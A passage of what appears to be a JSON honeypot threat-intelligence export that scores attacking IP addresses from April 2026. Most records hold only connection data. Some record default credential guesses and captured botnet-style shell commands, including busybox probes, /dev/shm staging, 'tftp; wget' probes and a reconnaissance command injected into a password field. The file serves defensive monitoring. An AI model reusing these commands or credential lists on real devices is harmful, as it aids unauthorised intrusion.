        "total_events_30d": 56,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:28:53.021000+00:00",
        "last_seen_30d": "2026-04-30T06:34:30.591000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 28
      }
    },
    "2.57.122.192": {
      "attack_count": 28,
      "first_seen": "2026-04-03T01:02:29.665Z",
      "last_seen": "2026-04-26T16:02:52.058Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 42.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T01:02:29.665000+00:00",
        "last_seen_30d": "2026-04-26T16:04:01.298000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "123.10.66.45": {
      "attack_count": 22,
      "first_seen": "2026-04-20T03:54:26.028Z",
      "last_seen": "2026-04-20T03:56:41.204Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-20T03:54:26.028000+00:00",
        "last_seen_30d": "2026-04-20T03:57:43.289000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "118.141.249.234": {
      "attack_count": 21,
      "first_seen": "2026-04-06T06:54:48.385Z",
      "last_seen": "2026-04-06T06:54:50.067Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "xmhdipc",
        "zlxx."
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox FYWUJ",
        "cat /proc/mounts; /bin/busybox FYWUJ",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FYWUJ",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox FYWUJ",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T06:54:48.385000+00:00",
        "last_seen_30d": "2026-04-06T06:55:57.641000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 2
      }
    },
    "138.197.163.192": {
      "attack_count": 21,
      "first_seen": "2026-04-21T14:46:30.372Z",
      "last_seen": "2026-04-21T14:49:39.899Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:46:30.372000+00:00",
        "last_seen_30d": "2026-04-21T14:50:41.806000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10
      }
    },
    "116.110.148.141": {
      "attack_count": 17,
      "first_seen": "2026-04-19T05:30:40.912Z",
      "last_seen": "2026-04-19T05:33:33.348Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "config"
      ],
      "passwords_attempted": [
        "admin",
        "config"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T05:30:40.912000+00:00",
        "last_seen_30d": "2026-04-19T05:43:39.867000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 13
      }
    },
    "183.212.246.128": {
      "attack_count": 14,
      "first_seen": "2026-04-04T02:08:01.810Z",
      "last_seen": "2026-04-04T02:10:24.559Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T02:08:01.810000+00:00",
        "last_seen_30d": "2026-04-04T02:11:33.335000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "152.32.160.252": {
      "attack_count": 12,
      "first_seen": "2026-04-11T02:51:22.598Z",
      "last_seen": "2026-04-11T02:51:41.778Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 37.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T20:51:25.168000+00:00",
        "last_seen_30d": "2026-04-21T02:33:24.038000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 12,
        "Honeytrap": 8
      }
    },
    "64.227.59.76": {
      "attack_count": 12,
      "first_seen": "2026-04-23T01:56:11.344Z",
      "last_seen": "2026-04-23T01:56:12.940Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T01:56:11.344000+00:00",
        "last_seen_30d": "2026-04-23T01:57:21.783000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "87.200.32.245": {
      "attack_count": 11,
      "first_seen": "2026-04-22T13:27:03.254Z",
      "last_seen": "2026-04-22T13:30:07.192Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 15802,
      "as_org": "Emirates Integrated Telecommunications Company PJSC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T13:27:03.254000+00:00",
        "last_seen_30d": "2026-04-22T13:31:11.934000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "176.236.20.180": {
      "attack_count": 10,
      "first_seen": "2026-04-14T12:49:47.703Z",
      "last_seen": "2026-04-14T12:49:51.506Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Manavgat",
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T12:49:47.703000+00:00",
        "last_seen_30d": "2026-04-14T12:50:58.593000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "198.235.24.97": {
      "attack_count": 10,
      "first_seen": "2026-04-06T01:17:55.507Z",
      "last_seen": "2026-04-21T04:39:58.907Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T02:55:27+00:00",
        "last_seen_30d": "2026-04-30T21:14:37.109000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 33,
        "Cowrie": 10,
        "Dionaea": 1
      }
    },
    "71.6.199.65": {
      "attack_count": 10,
      "first_seen": "2026-04-01T05:59:16.275Z",
      "last_seen": "2026-04-14T23:41:36.625Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 93.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T05:59:16.275000+00:00",
        "last_seen_30d": "2026-04-30T14:00:33.462000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 145,
        "Honeytrap": 13,
        "Dionaea": 12,
        "Redishoneypot": 12,
        "Cowrie": 10,
        "ElasticPot": 3,
        "Tanner": 3,
        "H0neytr4p": 2
      }
    },
    "82.67.201.1": {
      "attack_count": 10,
      "first_seen": "2026-04-16T04:47:33.490Z",
      "last_seen": "2026-04-16T15:40:29.044Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "s1mpl3"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 46.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 2723,
        "days_active_30d": 8,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-10T01:31:24+00:00",
        "last_seen_30d": "2026-04-17T05:38:25.146000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1551,
        "H0neytr4p": 593,
        "Honeytrap": 281,
        "Tanner": 186,
        "Honeyaml": 72,
        "Ciscoasa": 26,
        "Cowrie": 10,
        "Dionaea": 4
      }
    },
    "14.103.118.153": {
      "attack_count": 9,
      "first_seen": "2026-04-17T05:26:11.158Z",
      "last_seen": "2026-04-17T05:44:51.612Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "a1234567090"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T05:26:11.158000+00:00",
        "last_seen_30d": "2026-04-17T05:48:54.193000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 9
      }
    },
    "180.93.243.75": {
      "attack_count": 8,
      "first_seen": "2026-04-20T07:30:03.016Z",
      "last_seen": "2026-04-20T08:24:10.237Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        ""
      ],
      "passwords_attempted": [
        "",
        "id; uname -ms; [ -w /tmp ] && echo W:/tmp; [ -w /var/run ] && echo W:/var/run; [ -w /dev/shm ] && echo W:/dev/shm; [ -w /mnt ] && echo W:/mnt; [ -w /var/tmp ] && echo W:/var/tmp; [ -w / ] && echo W:/; echo __RECON_DONE__"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7602,
      "as_org": "Sai gon Postel Corporation",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T07:27:21.254000+00:00",
        "last_seen_30d": "2026-04-20T08:25:10.924000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "138.199.40.173": {
      "attack_count": 6,
      "first_seen": "2026-04-29T23:26:42.399Z",
      "last_seen": "2026-04-29T23:30:49.739Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 60068,
      "as_org": "Datacamp Limited",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T23:26:42.399000+00:00",
        "last_seen_30d": "2026-04-29T23:31:59.680000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "185.247.137.18": {
      "attack_count": 6,
      "first_seen": "2026-04-27T19:05:34.683Z",
      "last_seen": "2026-04-27T19:05:37.435Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 40.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-11T20:00:48.745000+00:00",
        "last_seen_30d": "2026-04-27T19:06:42.827000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6,
        "Tanner": 1
      }
    },
    "185.247.137.196": {
      "attack_count": 6,
      "first_seen": "2026-04-04T03:52:57.614Z",
      "last_seen": "2026-04-04T03:53:00.366Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T03:52:57.614000+00:00",
        "last_seen_30d": "2026-04-24T16:43:27.503000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "42.56.176.233": {
      "attack_count": 6,
      "first_seen": "2026-04-06T13:06:59.383Z",
      "last_seen": "2026-04-08T04:15:26.869Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T13:06:59.383000+00:00",
        "last_seen_30d": "2026-04-08T04:16:36.496000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "45.181.112.64": {
      "attack_count": 6,
      "first_seen": "2026-04-26T16:46:27.381Z",
      "last_seen": "2026-04-26T16:48:38.938Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jos\u00e9 Bonif\u00e1cio",
      "asn": 269181,
      "as_org": "NET FIBRA SCM LTDA",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T16:46:27.381000+00:00",
        "last_seen_30d": "2026-04-26T16:59:27.273000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.195.36": {
      "attack_count": 6,
      "first_seen": "2026-04-14T00:34:01.837Z",
      "last_seen": "2026-04-14T00:34:48.378Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 79.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 27,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T22:49:37+00:00",
        "last_seen_30d": "2026-04-27T10:06:17.808000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 49,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "20.118.241.35": {
      "attack_count": 5,
      "first_seen": "2026-04-08T17:44:17.826Z",
      "last_seen": "2026-04-08T17:44:28.176Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 17.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 21,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T17:43:12.255000+00:00",
        "last_seen_30d": "2026-04-28T13:53:35.296000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 6,
        "Cowrie": 5
      }
    },
    "45.166.100.195": {
      "attack_count": 5,
      "first_seen": "2026-04-06T03:33:06.856Z",
      "last_seen": "2026-04-06T03:33:10.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "El Pueblito",
      "asn": 28546,
      "as_org": "Servnet Mexico, S.A. de C.V.",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T03:33:06.856000+00:00",
        "last_seen_30d": "2026-04-06T03:34:16.963000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "64.62.197.137": {
      "attack_count": 5,
      "first_seen": "2026-04-01T11:06:29.992Z",
      "last_seen": "2026-04-11T14:13:02.689Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 266,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T03:27:33+00:00",
        "last_seen_30d": "2026-04-30T15:48:08.421000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 167,
        "Honeytrap": 88,
        "Cowrie": 5,
        "Dionaea": 5,
        "Honeyaml": 1
      }
    },
    "124.66.104.219": {
      "attack_count": 4,
      "first_seen": "2026-04-19T09:47:10.099Z",
      "last_seen": "2026-04-19T09:47:21.034Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T09:47:10.099000+00:00",
        "last_seen_30d": "2026-04-19T11:29:16.127000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "147.185.132.112": {
      "attack_count": 4,
      "first_seen": "2026-04-03T10:27:46.576Z",
      "last_seen": "2026-04-03T10:27:50.307Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
